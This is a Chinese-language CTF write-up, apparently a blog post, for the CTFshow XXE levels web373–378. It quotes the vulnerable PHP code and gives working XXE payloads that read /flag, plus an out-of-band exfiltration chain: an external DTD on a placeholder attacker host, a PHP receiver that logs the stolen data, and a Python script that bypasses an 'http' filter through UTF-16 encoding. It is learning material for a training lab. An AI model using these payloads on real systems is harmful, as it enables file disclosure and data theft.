CTFshow web入门-xxe

web373

题目给了一个有xxe漏洞的,并且文件内容可以回显

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    $creds = simplexml_import_dom($dom);
    $ctfshow = $creds->ctfshow;
    echo $ctfshow;
}
highlight_file(__FILE__);
?>

payload如下,bp抓包发送即可

<?xml version="1.0"?>
<!DOCTYPE xml [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<H3rmesk1t>
	<ctfshow>
		&xxe;
	</ctfshow>
</H3rmesk1t>

web374-376

<?php
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    
?>

与上一题大差不差,但文件内容不可回显,那我们可以让我们传入的xml之后所读取的文件内容,转到我们的服务器上查看

bp抓包发送如下内容

<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://xxx/pd.dtd">
%dtd;
%send;
] >

提前服务器上创建pd.dtd

<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://xxx/xxe.php?q=%file;'>"
>
%all;

提前服务器上创建xxe.php

<?php
highlight_file(__FILE__);
$xxe = base64_decode($_GET['q']);
$txt = 'flag.txt';
file_put_contents($txt,$xxe,FILE_APPEND)
?>

发送后发现服务器上多了flag.txt

下面两关分别是过滤了xml,version=1或0

过滤了xml,version=1或0,和大小写

不过上述的payload是通杀的

web377

<?php
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
?>

过滤了http

也是要在远程服务器配置dtd,同上

python完成post,记得设定编码方式

import requests

url = 'http://xxx'
data = """<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://xxx/pd.dtd">
%dtd;
%send;
] >"""

requests.post(url ,data=data.encode('utf-16'))
print("done!")

done完会看到服务器上生成flag.txt

web378

抓包发现,回显usename,那就是标准的xxe了

构造payload如下

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY file SYSTEM "file:///flag">
]>
<user>
<username>&file;</username>
<password>123</password>
</user>

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值